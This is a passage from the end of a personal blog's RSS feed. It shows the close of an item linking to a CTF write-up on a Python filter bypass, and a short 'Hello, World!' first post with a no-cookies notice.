<blockquote><p>This website does <strong>not</strong> use cookie because I don&#39;t care about your data.</p></blockquote>
]]></content:encoded>
      <guid>https://bbayugt.kamo.my.id/write-up-gemastik-19-ouroboros-black-box-python-filter-bypass</guid>
      <pubDate>Sun, 23 Aug 2026 15:51:32 +0000</pubDate>
    </item>
    <item>
      <title>Hello, World!</title>
      <link>https://bbayugt.kamo.my.id/hello-world</link>
      <description>&lt;![CDATA[First post, I might share some things here in the future! :p&#xA;&#xA;  This website does not use cookie because I don&#39;t care about your data.]]&gt;</description>
      <content:encoded><![CDATA[<p>First post, I might share some things here in the future! :p</p>

<blockquote><p>This website does <strong>not</strong> use cookie because I don&#39;t care about your data.</p></blockquote>
]]></content:encoded>
      <guid>https://bbayugt.kamo.my.id/hello-world</guid>
      <pubDate>Tue, 18 Aug 2026 16:46:14 +0000</pubDate>
    </item>
  </channel>
</rss>